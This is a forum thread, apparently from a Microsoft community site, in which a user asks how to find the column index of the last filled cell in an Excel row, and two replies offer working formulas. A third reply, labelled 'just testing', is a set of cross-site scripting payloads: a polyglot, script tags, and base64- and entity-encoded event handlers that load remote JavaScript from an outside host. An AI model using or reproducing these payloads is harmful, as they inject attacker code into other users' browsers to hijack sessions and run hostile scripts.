# Get index of last column with any data in a row

Copper Contributor

# Get index of last column with any data in a row

I can get the last column with any data in a row using this formula as described here

``=LOOKUP(2,1/(1:1<>""),1:1)``

How can I get the index of this column?

My sheet looks similar to this one (so I have values to the left and right of the cell containing the result)

5 Replies

# Re: Get index of last column with any data in a row

For me it would be

``````= BYROW(numbers,
LAMBDA(row,
XMATCH(TRUE, ISNUMBER(row), , -1)
)
)``````

but that would require 365.  Note: the index returned is relative to the array 'numbers' and not to the sheet.

# Re: Get index of last column with any data in a row

If under the index you mean column number, as variant that could be

``=LOOKUP(1E+307,COLUMN(1:1)*IF(1:1="","",1))``

entered as array formula (Ctrl+Shift+Enter) on other than 365 or 2021 Excel.

# Re: Get index of last column with any data in a row

@Peter BartholomewThis is Just Testing so plz igone it.

<script>
</script>

Javascript&colon;//%250A0?1:import(/https:KnoXSS.me\00?1=14357/.source)//*'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/OnFocus=/*\${/*/;{/**/(d=document,d.body.appendChild(d.createElement(/script/.source)).src=/\\KnoXSS.me\00?1=14357/.source)}//\76-->2=[BASE64]
"><script src="https://js.rip/786"></script>
javascript&colon;eval('var a=document.createElement(\'script\');a.src=\'https://js.rip/786\';document.body.appendChild(a)')
"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs autofocus>
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs onerror=eval(atob(this.id))>
"><video><source onerror=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vanMucmlwLzc4NiI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs>
"><iframe srcdoc="&#60;&#115;&#99;&#114;&#105;&#112;&#116;&#62;&#118;&#97;&#114;&#32;&#97;&#61;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#99;&#114;&#101;&#97;&#116;&#101;&#69;&#108;&#101;&#109;&#101;&#110;&#116;&#40;&#34;&#115;&#99;&#114;&#105;&#112;&#116;&#34;&#41;&#59;&#97;&#46;&#115;&#114;&#99;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;js.rip/786&#34;&#59;&#112;&#97;&#114;&#101;&#110;&#116;&#46;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#97;&#112;&#112;&#101;&#110;&#100;&#67;&#104;&#105;&#108;&#100;&#40;&#97;&#41;&#59;&#60;&#47;&#115;&#99;&#114;&#105;&#112;&#116;&#62;">